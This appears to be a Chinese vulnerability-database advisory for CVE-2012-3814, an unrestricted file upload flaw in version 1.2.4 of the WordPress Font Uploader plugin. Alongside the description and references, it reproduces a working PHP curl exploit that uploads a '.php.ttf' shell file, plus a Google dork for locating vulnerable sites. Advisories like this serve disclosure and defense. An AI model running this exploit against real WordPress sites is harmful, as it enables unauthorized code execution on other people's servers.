WordPress Font Uploader插件为限制文件上传漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1121177 漏洞类型 权限许可和访问控制
发布时间 2012-06-06 更新时间 2012-06-27
CVE编号 CVE-2012-3814 CNNVD-ID CNNVD-201206-510
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/18994
https://www.securityfocus.com/bid/78152
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201206-510
|漏洞详情
WordPress是WordPress软件基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress中的FontUploader插件1.2.4版本中的font-upload.php中存在无限制文件上传漏洞。远程攻击者可利用该漏洞通过上传.php.ttf扩展名的PHP文件执行任意PHP代码,并通过直接请求到font-uploader/fonts中的文件然后访问该文件。
|漏洞EXP
##################################################
# Description : Wordpress Plugins - WordPress Font Uploader Shell Upload
Vulnerability
# Version : 1.2.4
# Link : http://wordpress.org/extend/plugins/font-uploader/
# Plugins : http://downloads.wordpress.org/plugin/font-uploader.1.2.4.zip
# Date : 01-06-2012
# Google Dork : inurl:/wp-content/plugins/font-uploader/
# Author : Sammy FORGIT - sam at opensyscom dot fr -
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.ttf";
$ch =
curl_init("http://server/wordpress/wp-content/plugins/font-uploader/font-upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('font'=>"@$uploadfile",
'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/font-uploader/fonts/lo.php.ttf

lo.php.ttf
<?php
phpinfo();
?>
|受影响的产品
Pippin Williamson Font Uploader 1.2.4
|参考资料

来源:EXPLOIT-DB
名称:18994
链接:http://www.exploit-db.com/exploits/18994
来源:SECUNIA
名称:49327
链接:http://secunia.com/advisories/49327
来源:OSVDB
名称:82657
链接:http://osvdb.org/82657